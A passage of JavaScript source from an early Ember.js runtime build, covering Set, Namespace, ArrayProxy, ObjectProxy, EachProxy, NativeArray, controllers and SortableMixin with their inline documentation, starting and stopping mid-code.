this.enumerableContentWillChange(null, added); Ember.propertyWillChange(this, 'lastObject'); len = get(this, 'length'); this[guid] = len; this[len] = obj; set(this, 'length', len+1); Ember.propertyDidChange(this, 'lastObject'); this.enumerableContentDidChange(null, added); return this; }, // implements Ember.MutableEnumerable removeObject: function(obj) { if (get(this, 'isFrozen')) throw new Error(Ember.FROZEN_ERROR); if (none(obj)) return this; // nothing to do var guid = guidFor(obj), idx = this[guid], len = get(this, 'length'), isFirst = idx === 0, isLast = idx === len-1, last, removed; if (idx>=0 && idx<len && (this[idx] === obj)) { removed = [obj]; this.enumerableContentWillChange(removed, null); if (isFirst) { Ember.propertyWillChange(this, 'firstObject'); } if (isLast) { Ember.propertyWillChange(this, 'lastObject'); } // swap items - basically move the item to the end so it can be removed if (idx < len-1) { last = this[len-1]; this[idx] = last; this[guidFor(last)] = idx; } delete this[guid]; delete this[len-1]; set(this, 'length', len-1); if (isFirst) { Ember.propertyDidChange(this, 'firstObject'); } if (isLast) { Ember.propertyDidChange(this, 'lastObject'); } this.enumerableContentDidChange(removed, null); } return this; }, // optimized version contains: function(obj) { return this[guidFor(obj)]>=0; }, copy: function() { var C = this.constructor, ret = new C(), loc = get(this, 'length'); set(ret, 'length', loc); while(--loc>=0) { ret[loc] = this[loc]; ret[guidFor(this[loc])] = loc; } return ret; }, toString: function() { var len = this.length, idx, array = []; for(idx = 0; idx < len; idx++) { array[idx] = this[idx]; } return "Ember.Set<%@>".fmt(array.join(',')); } }); })(); (function() { /** @module ember @submodule ember-runtime */ /** `Ember.Object` is the main base class for all Ember objects. It is a subclass of `Ember.CoreObject` with the `Ember.Observable` mixin applied. For details, see the documentation for each of these. @class Object @namespace Ember @extends Ember.CoreObject @uses Ember.Observable */ Ember.Object = Ember.CoreObject.extend(Ember.Observable); Ember.Object.toString = function() { return "Ember.Object"; }; })(); (function() { /** @module ember @submodule ember-runtime */ var get = Ember.get, indexOf = Ember.ArrayPolyfills.indexOf; /** A Namespace is an object usually used to contain other objects or methods such as an application or framework. Create a namespace anytime you want to define one of these new containers. # Example Usage ```javascript MyFramework = Ember.Namespace.create({ VERSION: '1.0.0' }); ``` @class Namespace @namespace Ember @extends Ember.Object */ var Namespace = Ember.Namespace = Ember.Object.extend({ isNamespace: true, init: function() { Ember.Namespace.NAMESPACES.push(this); Ember.Namespace.PROCESSED = false; }, toString: function() { var name = get(this, 'name'); if (name) { return name; } findNamespaces(); return this[Ember.GUID_KEY+'_name']; }, nameClasses: function() { processNamespace([this.toString()], this, {}); }, destroy: function() { var namespaces = Ember.Namespace.NAMESPACES; Ember.lookup[this.toString()] = undefined; namespaces.splice(indexOf.call(namespaces, this), 1); this._super(); } }); Namespace.reopenClass({ NAMESPACES: [Ember], PROCESSED: false, processAll: processAllNamespaces }); var hasOwnProp = ({}).hasOwnProperty, guidFor = Ember.guidFor; function processNamespace(paths, root, seen) { var idx = paths.length; // Loop over all of the keys in the namespace, looking for classes for(var key in root) { if (!hasOwnProp.call(root, key)) { continue; } var obj = root[key]; // If we are processing the `Ember` namespace, for example, the // `paths` will start with `["Ember"]`. Every iteration through // the loop will update the **second** element of this list with // the key, so processing `Ember.View` will make the Array // `['Ember', 'View']`. paths[idx] = key; // If we have found an unprocessed class if (obj && obj.toString === classToString) { // Replace the class' `toString` with the dot-separated path // and set its `NAME_KEY` obj.toString = makeToString(paths.join('.')); obj[NAME_KEY] = paths.join('.'); // Support nested namespaces } else if (obj && obj.isNamespace) { // Skip aliased namespaces if (seen[guidFor(obj)]) { continue; } seen[guidFor(obj)] = true; // Process the child namespace processNamespace(paths, obj, seen); } } paths.length = idx; // cut out last item } function findNamespaces() { var Namespace = Ember.Namespace, lookup = Ember.lookup, obj, isNamespace; if (Namespace.PROCESSED) { return; } for (var prop in lookup) { // These don't raise exceptions but can cause warnings if (prop === "parent" || prop === "top" || prop === "frameElement") { continue; } // get(window.globalStorage, 'isNamespace') would try to read the storage for domain isNamespace and cause exception in Firefox. // globalStorage is a storage obsoleted by the WhatWG storage specification. See https://developer.mozilla.org/en/DOM/Storage#globalStorage if (prop === "globalStorage" && lookup.StorageList && lookup.globalStorage instanceof lookup.StorageList) { continue; } // Unfortunately, some versions of IE don't support window.hasOwnProperty if (lookup.hasOwnProperty && !lookup.hasOwnProperty(prop)) { continue; } // At times we are not allowed to access certain properties for security reasons. // There are also times where even if we can access them, we are not allowed to access their properties. try { obj = Ember.lookup[prop]; isNamespace = obj && obj.isNamespace; } catch (e) { continue; } if (isNamespace) { obj[NAME_KEY] = prop; } } } var NAME_KEY = Ember.NAME_KEY = Ember.GUID_KEY + '_name'; function superClassString(mixin) { var superclass = mixin.superclass; if (superclass) { if (superclass[NAME_KEY]) { return superclass[NAME_KEY]; } else { return superClassString(superclass); } } else { return; } } function classToString() { if (!Ember.BOOTED && !this[NAME_KEY]) { processAllNamespaces(); } var ret; if (this[NAME_KEY]) { ret = this[NAME_KEY]; } else { var str = superClassString(this); if (str) { ret = "(subclass of " + str + ")"; } else { ret = "(unknown mixin)"; } this.toString = makeToString(ret); } return ret; } function processAllNamespaces() { if (!Namespace.PROCESSED) { findNamespaces(); Namespace.PROCESSED = true; } if (Ember.anyUnprocessedMixins) { var namespaces = Namespace.NAMESPACES, namespace; for (var i=0, l=namespaces.length; i<l; i++) { namespace = namespaces[i]; processNamespace([namespace.toString()], namespace, {}); } Ember.anyUnprocessedMixins = false; } } function makeToString(ret) { return function() { return ret; }; } Ember.Mixin.prototype.toString = classToString; })(); (function() { /** @module ember @submodule ember-runtime */ /** Defines a namespace that will contain an executable application. This is very similar to a normal namespace except that it is expected to include at least a 'ready' function which can be run to initialize the application. Currently `Ember.Application` is very similar to `Ember.Namespace.` However, this class may be augmented by additional frameworks so it is important to use this instance when building new applications. # Example Usage ```javascript MyApp = Ember.Application.create({ VERSION: '1.0.0', store: Ember.Store.create().from(Ember.fixtures) }); MyApp.ready = function() { //..init code goes here... } ``` @class Application @namespace Ember @extends Ember.Namespace */ Ember.Application = Ember.Namespace.extend(); })(); (function() { /** @module ember @submodule ember-runtime */ var get = Ember.get, set = Ember.set; /** An ArrayProxy wraps any other object that implements `Ember.Array` and/or `Ember.MutableArray,` forwarding all requests. This makes it very useful for a number of binding use cases or other cases where being able to swap out the underlying array is useful. A simple example of usage: ```javascript var pets = ['dog', 'cat', 'fish']; var ap = Ember.ArrayProxy.create({ content: Ember.A(pets) }); ap.get('firstObject'); // 'dog' ap.set('content', ['amoeba', 'paramecium']); ap.get('firstObject'); // 'amoeba' ``` This class can also be useful as a layer to transform the contents of an array, as they are accessed. This can be done by overriding `objectAtContent`: ```javascript var pets = ['dog', 'cat', 'fish']; var ap = Ember.ArrayProxy.create({ content: Ember.A(pets), objectAtContent: function(idx) { return this.get('content').objectAt(idx).toUpperCase(); } }); ap.get('firstObject'); // . 'DOG' ``` @class ArrayProxy @namespace Ember @extends Ember.Object @uses Ember.MutableArray */ Ember.ArrayProxy = Ember.Object.extend(Ember.MutableArray, /** @scope Ember.ArrayProxy.prototype */ { /** The content array. Must be an object that implements `Ember.Array` and/or `Ember.MutableArray.` @property content @type Ember.Array */ content: null, /** The array that the proxy pretends to be. In the default `ArrayProxy` implementation, this and `content` are the same. Subclasses of `ArrayProxy` can override this property to provide things like sorting and filtering. @property arrangedContent */ arrangedContent: Ember.computed.alias('content'), /** Should actually retrieve the object at the specified index from the content. You can override this method in subclasses to transform the content item to something new. This method will only be called if content is non-`null`. @method objectAtContent @param {Number} idx The index to retrieve. @return {Object} the value or undefined if none found */ objectAtContent: function(idx) { return get(this, 'arrangedContent').objectAt(idx); }, /** Should actually replace the specified objects on the content array. You can override this method in subclasses to transform the content item into something new. This method will only be called if content is non-`null`. @method replaceContent @param {Number} idx The starting index @param {Number} amt The number of items to remove from the content. @param {Array} objects Optional array of objects to insert or null if no objects. @return {void} */ replaceContent: function(idx, amt, objects) { get(this, 'content').replace(idx, amt, objects); }, /** @private Invoked when the content property is about to change. Notifies observers that the entire array content will change. @method _contentWillChange */ _contentWillChange: Ember.beforeObserver(function() { this._teardownContent(); }, 'content'), _teardownContent: function() { var content = get(this, 'content'); if (content) { content.removeArrayObserver(this, { willChange: 'contentArrayWillChange', didChange: 'contentArrayDidChange' }); } }, contentArrayWillChange: Ember.K, contentArrayDidChange: Ember.K, /** @private Invoked when the content property changes. Notifies observers that the entire array content has changed. @method _contentDidChange */ _contentDidChange: Ember.observer(function() { var content = get(this, 'content'); this._setupContent(); }, 'content'), _setupContent: function() { var content = get(this, 'content'); if (content) { content.addArrayObserver(this, { willChange: 'contentArrayWillChange', didChange: 'contentArrayDidChange' }); } }, _arrangedContentWillChange: Ember.beforeObserver(function() { var arrangedContent = get(this, 'arrangedContent'), len = arrangedContent ? get(arrangedContent, 'length') : 0; this.arrangedContentArrayWillChange(this, 0, len, undefined); this.arrangedContentWillChange(this); this._teardownArrangedContent(arrangedContent); }, 'arrangedContent'), _arrangedContentDidChange: Ember.observer(function() { var arrangedContent = get(this, 'arrangedContent'), len = arrangedContent ? get(arrangedContent, 'length') : 0; this._setupArrangedContent(); this.arrangedContentDidChange(this); this.arrangedContentArrayDidChange(this, 0, undefined, len); }, 'arrangedContent'), _setupArrangedContent: function() { var arrangedContent = get(this, 'arrangedContent'); if (arrangedContent) { arrangedContent.addArrayObserver(this, { willChange: 'arrangedContentArrayWillChange', didChange: 'arrangedContentArrayDidChange' }); } }, _teardownArrangedContent: function() { var arrangedContent = get(this, 'arrangedContent'); if (arrangedContent) { arrangedContent.removeArrayObserver(this, { willChange: 'arrangedContentArrayWillChange', didChange: 'arrangedContentArrayDidChange' }); } }, arrangedContentWillChange: Ember.K, arrangedContentDidChange: Ember.K, objectAt: function(idx) { return get(this, 'content') && this.objectAtContent(idx); }, length: Ember.computed(function() { var arrangedContent = get(this, 'arrangedContent'); return arrangedContent ? get(arrangedContent, 'length') : 0; // No dependencies since Enumerable notifies length of change }), replace: function(idx, amt, objects) { if (get(this, 'content')) this.replaceContent(idx, amt, objects); return this; }, arrangedContentArrayWillChange: function(item, idx, removedCnt, addedCnt) { this.arrayContentWillChange(idx, removedCnt, addedCnt); }, arrangedContentArrayDidChange: function(item, idx, removedCnt, addedCnt) { this.arrayContentDidChange(idx, removedCnt, addedCnt); }, init: function() { this._super(); this._setupContent(); this._setupArrangedContent(); }, willDestroy: function() { this._teardownArrangedContent(); this._teardownContent(); } }); })(); (function() { /** @module ember @submodule ember-runtime */ var get = Ember.get, set = Ember.set, fmt = Ember.String.fmt, addBeforeObserver = Ember.addBeforeObserver, addObserver = Ember.addObserver, removeBeforeObserver = Ember.removeBeforeObserver, removeObserver = Ember.removeObserver, propertyWillChange = Ember.propertyWillChange, propertyDidChange = Ember.propertyDidChange; function contentPropertyWillChange(content, contentKey) { var key = contentKey.slice(8); // remove "content." if (key in this) { return; } // if shadowed in proxy propertyWillChange(this, key); } function contentPropertyDidChange(content, contentKey) { var key = contentKey.slice(8); // remove "content." if (key in this) { return; } // if shadowed in proxy propertyDidChange(this, key); } /** `Ember.ObjectProxy` forwards all properties not defined by the proxy itself to a proxied `content` object. ```javascript object = Ember.Object.create({ name: 'Foo' }); proxy = Ember.ObjectProxy.create({ content: object }); // Access and change existing properties proxy.get('name') // 'Foo' proxy.set('name', 'Bar'); object.get('name') // 'Bar' // Create new 'description' property on `object` proxy.set('description', 'Foo is a whizboo baz'); object.get('description') // 'Foo is a whizboo baz' ``` While `content` is unset, setting a property to be delegated will throw an Error. ```javascript proxy = Ember.ObjectProxy.create({ content: null, flag: null }); proxy.set('flag', true); proxy.get('flag'); // true proxy.get('foo'); // undefined proxy.set('foo', 'data'); // throws Error ``` Delegated properties can be bound to and will change when content is updated. Computed properties on the proxy itself can depend on delegated properties. ```javascript ProxyWithComputedProperty = Ember.ObjectProxy.extend({ fullName: function () { var firstName = this.get('firstName'), lastName = this.get('lastName'); if (firstName && lastName) { return firstName + ' ' + lastName; } return firstName || lastName; }.property('firstName', 'lastName') }); proxy = ProxyWithComputedProperty.create(); proxy.get('fullName'); // undefined proxy.set('content', { firstName: 'Tom', lastName: 'Dale' }); // triggers property change for fullName on proxy proxy.get('fullName'); // 'Tom Dale' ``` @class ObjectProxy @namespace Ember @extends Ember.Object */ Ember.ObjectProxy = Ember.Object.extend( /** @scope Ember.ObjectProxy.prototype */ { /** The object whose properties will be forwarded. @property content @type Ember.Object @default null */ content: null, _contentDidChange: Ember.observer(function() { }, 'content'), isTruthy: Ember.computed.bool('content'), willWatchProperty: function (key) { var contentKey = 'content.' + key; addBeforeObserver(this, contentKey, null, contentPropertyWillChange); addObserver(this, contentKey, null, contentPropertyDidChange); }, didUnwatchProperty: function (key) { var contentKey = 'content.' + key; removeBeforeObserver(this, contentKey, null, contentPropertyWillChange); removeObserver(this, contentKey, null, contentPropertyDidChange); }, unknownProperty: function (key) { var content = get(this, 'content'); if (content) { return get(content, key); } }, setUnknownProperty: function (key, value) { var content = get(this, 'content'); return set(content, key, value); } }); })(); (function() { /** @module ember @submodule ember-runtime */ var set = Ember.set, get = Ember.get, guidFor = Ember.guidFor; var forEach = Ember.EnumerableUtils.forEach; var EachArray = Ember.Object.extend(Ember.Array, { init: function(content, keyName, owner) { this._super(); this._keyName = keyName; this._owner = owner; this._content = content; }, objectAt: function(idx) { var item = this._content.objectAt(idx); return item && get(item, this._keyName); }, length: Ember.computed(function() { var content = this._content; return content ? get(content, 'length') : 0; }) }); var IS_OBSERVER = /^.+:(before|change)$/; function addObserverForContentKey(content, keyName, proxy, idx, loc) { var objects = proxy._objects, guid; if (!objects) objects = proxy._objects = {}; while(--loc>=idx) { var item = content.objectAt(loc); if (item) { Ember.addBeforeObserver(item, keyName, proxy, 'contentKeyWillChange'); Ember.addObserver(item, keyName, proxy, 'contentKeyDidChange'); // keep track of the indicies each item was found at so we can map // it back when the obj changes. guid = guidFor(item); if (!objects[guid]) objects[guid] = []; objects[guid].push(loc); } } } function removeObserverForContentKey(content, keyName, proxy, idx, loc) { var objects = proxy._objects; if (!objects) objects = proxy._objects = {}; var indicies, guid; while(--loc>=idx) { var item = content.objectAt(loc); if (item) { Ember.removeBeforeObserver(item, keyName, proxy, 'contentKeyWillChange'); Ember.removeObserver(item, keyName, proxy, 'contentKeyDidChange'); guid = guidFor(item); indicies = objects[guid]; indicies[indicies.indexOf(loc)] = null; } } } /** This is the object instance returned when you get the `@each` property on an array. It uses the unknownProperty handler to automatically create EachArray instances for property names. @private @class EachProxy @namespace Ember @extends Ember.Object */ Ember.EachProxy = Ember.Object.extend({ init: function(content) { this._super(); this._content = content; content.addArrayObserver(this); // in case someone is already observing some keys make sure they are // added forEach(Ember.watchedEvents(this), function(eventName) { this.didAddListener(eventName); }, this); }, /** You can directly access mapped properties by simply requesting them. The `unknownProperty` handler will generate an EachArray of each item. @method unknownProperty @param keyName {String} @param value {anything} */ unknownProperty: function(keyName, value) { var ret; ret = new EachArray(this._content, keyName, this); Ember.defineProperty(this, keyName, null, ret); this.beginObservingContentKey(keyName); return ret; }, // .......................................................... // ARRAY CHANGES // Invokes whenever the content array itself changes. arrayWillChange: function(content, idx, removedCnt, addedCnt) { var keys = this._keys, key, array, lim; lim = removedCnt>0 ? idx+removedCnt : -1; Ember.beginPropertyChanges(this); for(key in keys) { if (!keys.hasOwnProperty(key)) { continue; } if (lim>0) removeObserverForContentKey(content, key, this, idx, lim); Ember.propertyWillChange(this, key); } Ember.propertyWillChange(this._content, '@each'); Ember.endPropertyChanges(this); }, arrayDidChange: function(content, idx, removedCnt, addedCnt) { var keys = this._keys, key, array, lim; lim = addedCnt>0 ? idx+addedCnt : -1; Ember.beginPropertyChanges(this); for(key in keys) { if (!keys.hasOwnProperty(key)) { continue; } if (lim>0) addObserverForContentKey(content, key, this, idx, lim); Ember.propertyDidChange(this, key); } Ember.propertyDidChange(this._content, '@each'); Ember.endPropertyChanges(this); }, // .......................................................... // LISTEN FOR NEW OBSERVERS AND OTHER EVENT LISTENERS // Start monitoring keys based on who is listening... didAddListener: function(eventName) { if (IS_OBSERVER.test(eventName)) { this.beginObservingContentKey(eventName.slice(0, -7)); } }, didRemoveListener: function(eventName) { if (IS_OBSERVER.test(eventName)) { this.stopObservingContentKey(eventName.slice(0, -7)); } }, // .......................................................... // CONTENT KEY OBSERVING // Actual watch keys on the source content. beginObservingContentKey: function(keyName) { var keys = this._keys; if (!keys) keys = this._keys = {}; if (!keys[keyName]) { keys[keyName] = 1; var content = this._content, len = get(content, 'length'); addObserverForContentKey(content, keyName, this, 0, len); } else { keys[keyName]++; } }, stopObservingContentKey: function(keyName) { var keys = this._keys; if (keys && (keys[keyName]>0) && (--keys[keyName]<=0)) { var content = this._content, len = get(content, 'length'); removeObserverForContentKey(content, keyName, this, 0, len); } }, contentKeyWillChange: function(obj, keyName) { Ember.propertyWillChange(this, keyName); }, contentKeyDidChange: function(obj, keyName) { Ember.propertyDidChange(this, keyName); } }); })(); (function() { /** @module ember @submodule ember-runtime */ var get = Ember.get, set = Ember.set; // Add Ember.Array to Array.prototype. Remove methods with native // implementations and supply some more optimized versions of generic methods // because they are so common. var NativeArray = Ember.Mixin.create(Ember.MutableArray, Ember.Observable, Ember.Copyable, { // because length is a built-in property we need to know to just get the // original property. get: function(key) { if (key==='length') return this.length; else if ('number' === typeof key) return this[key]; else return this._super(key); }, objectAt: function(idx) { return this[idx]; }, // primitive for array support. replace: function(idx, amt, objects) { if (this.isFrozen) throw Ember.FROZEN_ERROR ; // if we replaced exactly the same number of items, then pass only the // replaced range. Otherwise, pass the full remaining array length // since everything has shifted var len = objects ? get(objects, 'length') : 0; this.arrayContentWillChange(idx, amt, len); if (!objects || objects.length === 0) { this.splice(idx, amt) ; } else { var args = [idx, amt].concat(objects) ; this.splice.apply(this,args) ; } this.arrayContentDidChange(idx, amt, len); return this ; }, // If you ask for an unknown property, then try to collect the value // from member items. unknownProperty: function(key, value) { var ret;// = this.reducedProperty(key, value) ; if ((value !== undefined) && ret === undefined) { ret = this[key] = value; } return ret ; }, // If browser did not implement indexOf natively, then override with // specialized version indexOf: function(object, startAt) { var idx, len = this.length; if (startAt === undefined) startAt = 0; else startAt = (startAt < 0) ? Math.ceil(startAt) : Math.floor(startAt); if (startAt < 0) startAt += len; for(idx=startAt;idx<len;idx++) { if (this[idx] === object) return idx ; } return -1; }, lastIndexOf: function(object, startAt) { var idx, len = this.length; if (startAt === undefined) startAt = len-1; else startAt = (startAt < 0) ? Math.ceil(startAt) : Math.floor(startAt); if (startAt < 0) startAt += len; for(idx=startAt;idx>=0;idx--) { if (this[idx] === object) return idx ; } return -1; }, copy: function(deep) { if (deep) { return this.map(function(item){ return Ember.copy(item, true); }); } return this.slice(); } }); // Remove any methods implemented natively so we don't override them var ignore = ['length']; Ember.EnumerableUtils.forEach(NativeArray.keys(), function(methodName) { if (Array.prototype[methodName]) ignore.push(methodName); }); if (ignore.length>0) { NativeArray = NativeArray.without.apply(NativeArray, ignore); } /** The NativeArray mixin contains the properties needed to to make the native Array support Ember.MutableArray and all of its dependent APIs. Unless you have `Ember.EXTEND_PROTOTYPES or `Ember.EXTEND_PROTOTYPES.Array` set to false, this will be applied automatically. Otherwise you can apply the mixin at anytime by calling `Ember.NativeArray.activate`. @class NativeArray @namespace Ember @extends Ember.Mixin @uses Ember.MutableArray @uses Ember.MutableEnumerable @uses Ember.Copyable @uses Ember.Freezable */ Ember.NativeArray = NativeArray; /** Creates an `Ember.NativeArray` from an Array like object. Does not modify the original object. @method A @for Ember @return {Ember.NativeArray} */ Ember.A = function(arr){ if (arr === undefined) { arr = []; } return Ember.Array.detect(arr) ? arr : Ember.NativeArray.apply(arr); }; /** Activates the mixin on the Array.prototype if not already applied. Calling this method more than once is safe. @method activate @for Ember.NativeArray @static @return {void} */ Ember.NativeArray.activate = function() { NativeArray.apply(Array.prototype); Ember.A = function(arr) { return arr || []; }; }; if (Ember.EXTEND_PROTOTYPES === true || Ember.EXTEND_PROTOTYPES.Array) { Ember.NativeArray.activate(); } })(); (function() { var DeferredMixin = Ember.DeferredMixin, // mixins/deferred EmberObject = Ember.Object, // system/object get = Ember.get; var Deferred = Ember.Object.extend(DeferredMixin); Deferred.reopenClass({ promise: function(callback, binding) { var deferred = Deferred.create(); callback.call(binding, deferred); return get(deferred, 'promise'); } }); Ember.Deferred = Deferred; })(); (function() { /** @module ember @submodule ember-runtime */ var loadHooks = Ember.ENV.EMBER_LOAD_HOOKS || {}; var loaded = {}; /** @method onLoad @for Ember @param name {String} name of hook @param callback {Function} callback to be called */ Ember.onLoad = function(name, callback) { var object; loadHooks[name] = loadHooks[name] || Ember.A(); loadHooks[name].pushObject(callback); if (object = loaded[name]) { callback(object); } }; /** @method runLoadHooks @for Ember @param name {String} name of hook @param object {Object} object to pass to callbacks */ Ember.runLoadHooks = function(name, object) { var hooks; loaded[name] = object; if (hooks = loadHooks[name]) { loadHooks[name].forEach(function(callback) { callback(object); }); } }; })(); (function() { })(); (function() { var get = Ember.get; /** @module ember @submodule ember-runtime */ /** `Ember.ControllerMixin` provides a standard interface for all classes that compose Ember's controller layer: `Ember.Controller`, `Ember.ArrayController`, and `Ember.ObjectController`. Within an `Ember.Router`-managed application single shared instaces of every Controller object in your application's namespace will be added to the application's `Ember.Router` instance. See `Ember.Application#initialize` for additional information. ## Views By default a controller instance will be the rendering context for its associated `Ember.View.` This connection is made during calls to `Ember.ControllerMixin#connectOutlet`. Within the view's template, the `Ember.View` instance can be accessed through the controller with `{{view}}`. ## Target Forwarding By default a controller will target your application's `Ember.Router` instance. Calls to `{{action}}` within the template of a controller's view are forwarded to the router. See `Ember.Handlebars.helpers.action` for additional information. @class ControllerMixin @namespace Ember @extends Ember.Mixin */ Ember.ControllerMixin = Ember.Mixin.create({ /* ducktype as a controller */ isController: true, /** The object to which events from the view should be sent. For example, when a Handlebars template uses the `{{action}}` helper, it will attempt to send the event to the view's controller's `target`. By default, a controller's `target` is set to the router after it is instantiated by `Ember.Application#initialize`. @property target @default null */ target: null, container: null, store: null, model: Ember.computed.alias('content'), send: function(actionName) { var args = [].slice.call(arguments, 1), target; if (this[actionName]) { this[actionName].apply(this, args); } else if(target = get(this, 'target')) { target.send.apply(target, arguments); } } }); /** @class Controller @namespace Ember @extends Ember.Object @uses Ember.ControllerMixin */ Ember.Controller = Ember.Object.extend(Ember.ControllerMixin); })(); (function() { /** @module ember @submodule ember-runtime */ var get = Ember.get, set = Ember.set, forEach = Ember.EnumerableUtils.forEach; /** `Ember.SortableMixin` provides a standard interface for array proxies to specify a sort order and maintain this sorting when objects are added, removed, or updated without changing the implicit order of their underlying content array: ```javascript songs = [ {trackNumber: 4, title: 'Ob-La-Di, Ob-La-Da'}, {trackNumber: 2, title: 'Back in the U.S.S.R.'}, {trackNumber: 3, title: 'Glass Onion'}, ]; songsController = Ember.ArrayController.create({ content: songs, sortProperties: ['trackNumber'], sortAscending: true }); songsController.get('firstObject'); // {trackNumber: 2, title: 'Back in the U.S.S.R.'} songsController.addObject({trackNumber: 1, title: 'Dear Prudence'}); songsController.get('firstObject'); // {trackNumber: 1, title: 'Dear Prudence'} ``` @class SortableMixin @namespace Ember @extends Ember.Mixin @uses Ember.MutableEnumerable */ Ember.SortableMixin = Ember.Mixin.create(Ember.MutableEnumerable, { /** Specifies which properties dictate the arrangedContent's sort order. @property {Array} sortProperties */ sortProperties: null, /** Specifies the arrangedContent's sort direction @property {Boolean} sortAscending */ sortAscending: true, orderBy: function(item1, item2) { var result = 0, sortProperties = get(this, 'sortProperties'), sortAscending = get(this, 'sortAscending'); forEach(sortProperties, function(propertyName) { if (result === 0) { result = Ember.compare(get(item1, propertyName), get(item2, propertyName)); if ((result !== 0) && !sortAscending) { result = (-1) * result; } } }); return result; }, destroy: function() { var content = get(this, 'content'), sortProperties = get(this, 'sortProperties'); if (content && sortProperties) { forEach(content, function(item) { forEach(sortProperties, function(sortProperty) { Ember.removeObserver(item, sortProperty, this, 'contentItemSortPropertyDidChange'); }, this); }, this); } return this._super(); }, isSorted: Ember.computed.bool('sortProperties'), arrangedContent: Ember.computed('content', 'sortProperties.@each', function(key, value) { var content = get(this, 'content'), isSorted = get(this, 'isSorted'), sortProperties = get(this, 'sortProperties'), self = this; if (content && isSorted) { content = content.slice(); content.sort(function(item1, item2) { return self.orderBy(item1, item2); }); forEach(content, function(item) { forEach(sortProperties, function(sortProperty) { Ember.addObserver(item, sortProperty, this, 'contentItemSortPropertyDidChange'); }, this); }, this); return Ember.A(content); } return content; }), _contentWillChange: Ember.beforeObserver(function() { var content = get(this, 'content'), sortProperties = get(this, 'sortProperties'); if (content && sortProperties) { forEach(content, function(item) { forEach(sortProperties, function(sortProperty) { Ember.removeObserver(item, sortProperty, this, 'contentItemSortPropertyDidChange'); }, this); }, this); } this._super(); }, 'content'), sortAscendingWillChange: Ember.beforeObserver(function() { this._lastSortAscending = get(this, 'sortAscending'); }, 'sortAscending'), sortAscendingDidChange: Ember.observer(function() { if (get(this, 'sortAscending') !== this._lastSortAscending) { var arrangedContent = get(this, 'arrangedContent'); arrangedContent.reverseObjects(); } }, 'sortAscending'), contentArrayWillChange: function(array, idx, removedCount, addedCount) { var isSorted = get(this, 'isSorted'); if (isSorted) { var arrangedContent = get(this, 'arrangedContent'); var removedObjects = array.slice(idx, idx+removedCount); var sortProperties = get(this, 'sortProperties'); forEach(removedObjects, function(item) { arrangedContent.removeObject(item); forEach(sortProperties, function(sortProperty) { Ember.removeObserver(item, sortProperty, this, 'contentItemSortPropertyDidChange'); }, this); }, this); } return this._super(array, idx, removedCount, addedCount); }, contentArrayDidChange: function(array, idx, removedCount, addedCount) { var isSorted = get(this, 'isSorted'), sortProperties = get(this, 'sortProperties'); if (isSorted) { var addedObjects = array.slice(idx, idx+addedCount); var arrangedContent = get(this, 'arrangedContent'); forEach(addedObjects, function(item) { this.insertItemSorted(item); forEach(sortProperties, function(sortProperty) { Ember.addObserver(item, sortProperty, this, 'contentItemSortPropertyDidChange'); }, this); }, this); } return this._super(array, idx, removedCount, addedCount); }, insertItemSorted: function(item) { var arrangedContent = get(this, 'arrangedContent'); var length = get(arrangedContent, 'length'); var idx = this._binarySearch(item, 0, length); arrangedContent.insertAt(idx, item); }, contentItemSortPropertyDidChange: function(item) { var arrangedContent = get(this, 'arrangedContent'), oldIndex = arrangedContent.indexOf(item), leftItem = arrangedContent.objectAt(oldIndex - 1), rightItem = arrangedContent.objectAt(oldIndex + 1), leftResult = leftItem && this.orderBy(item, leftItem), rightResult = rightItem && this.orderBy(item, rightItem); if (leftResult < 0 || rightResult > 0) { arrangedContent.removeObject(item); this.insertItemSorted(item); } }, _binarySearch: function(item, low, high) { var mid, midItem, res, arrangedContent; if (low === high) { return low; } arrangedContent = get(this, 'arrangedContent'); mid = low + Math.floor((high - low) / 2); midItem = arrangedContent.objectAt(mid); res = this.orderBy(midItem, item); if (res < 0) { return this._binarySearch(item, mid+1, high); } else if (res > 0) { return this._binarySearch(item, low, mid); } return mid; } }); })(); (function() { /** @module ember @submodule ember-runtime */ var get = Ember.get, set = Ember.set, isGlobalPath = Ember.isGlobalPath, forEach = Ember.EnumerableUtils.forEach, replace = Ember.EnumerableUtils.replace; /** `Ember.ArrayController` provides a way for you to publish a collection of objects so that you can easily bind to the collection from a Handlebars `#each` helper, an `Ember.CollectionView`, or other controllers. The advantage of using an `ArrayController` is that you only have to set up your view bindings once; to change what's displayed, simply swap out the `content` property on the controller. For example, imagine you wanted to display a list of items fetched via an XHR request. Create an `Ember.ArrayController` and set its `content` property: ```javascript MyApp.listController = Ember.ArrayController.create(); $.get('people.json', function(data) { MyApp.listController.set('content', data); }); ``` Then, create a view that binds to your new controller: ```handlebars {{#each MyApp.listController}} {{firstName}} {{lastName}} {{/each}} ``` Although you are binding to the controller, the behavior of this controller is to pass through any methods or properties to the underlying array. This capability comes from `Ember.ArrayProxy`, which this class inherits from. Sometimes you want to display computed properties within the body of an `#each` helper that depend on the underlying items in `content`, but are not present on those items. To do this, set `itemController` to the name of a controller (probably an `ObjectController`) that will wrap each individual item. For example: ```handlebars {{#each post in controller}} <li>{{title}} ({{titleLength}} characters)</li> {{/each}} ``` ```javascript App.PostsController = Ember.ArrayController.extend({ itemController: 'post' }); App.PostController = Ember.ObjectController.extend({ // the `title` property will be proxied to the underlying post. titleLength: function() { return this.get('title').length; }.property('title') }); ``` In some cases it is helpful to return a different `itemController` depending on the particular item. Subclasses can do this by overriding `lookupItemController`. For example: ```javascript App.MyArrayController = Ember.ArrayController.extend({ lookupItemController: function( object ) { if (object.get('isSpecial')) { return "special"; // use App.SpecialController } else { return "regular"; // use App.RegularController } } }); ``` @class ArrayController @namespace Ember @extends Ember.ArrayProxy @uses Ember.SortableMixin @uses Ember.ControllerMixin */ Ember.ArrayController = Ember.ArrayProxy.extend(Ember.ControllerMixin, Ember.SortableMixin, { /** The controller used to wrap items, if any. @property itemController @type String @default null */ itemController: null, /** Return the name of the controller to wrap items, or `null` if items should be returned directly. The default implementation simply returns the `itemController` property, but subclasses can override this method to return different controllers for different objects. For example: ```javascript App.MyArrayController = Ember.ArrayController.extend({ lookupItemController: function( object ) { if (object.get('isSpecial')) { return "special"; // use App.SpecialController } else { return "regular"; // use App.RegularController } } }); ``` @method @type String @default null */ lookupItemController: function(object) { return get(this, 'itemController'); }, objectAtContent: function(idx) { var length = get(this, 'length'), object = get(this,'arrangedContent').objectAt(idx), controllerClass = this.lookupItemController(object); if (controllerClass && idx < length) { return this.controllerAt(idx, object, controllerClass); } else { // When controllerClass is falsy we have not opted in to using item // controllers, so return the object directly. However, when // controllerClass is defined but the index is out of range, we want to // return the "out of range" value, whatever that might be. Rather than // make assumptions (e.g. guessing `null` or `undefined`) we defer this to // 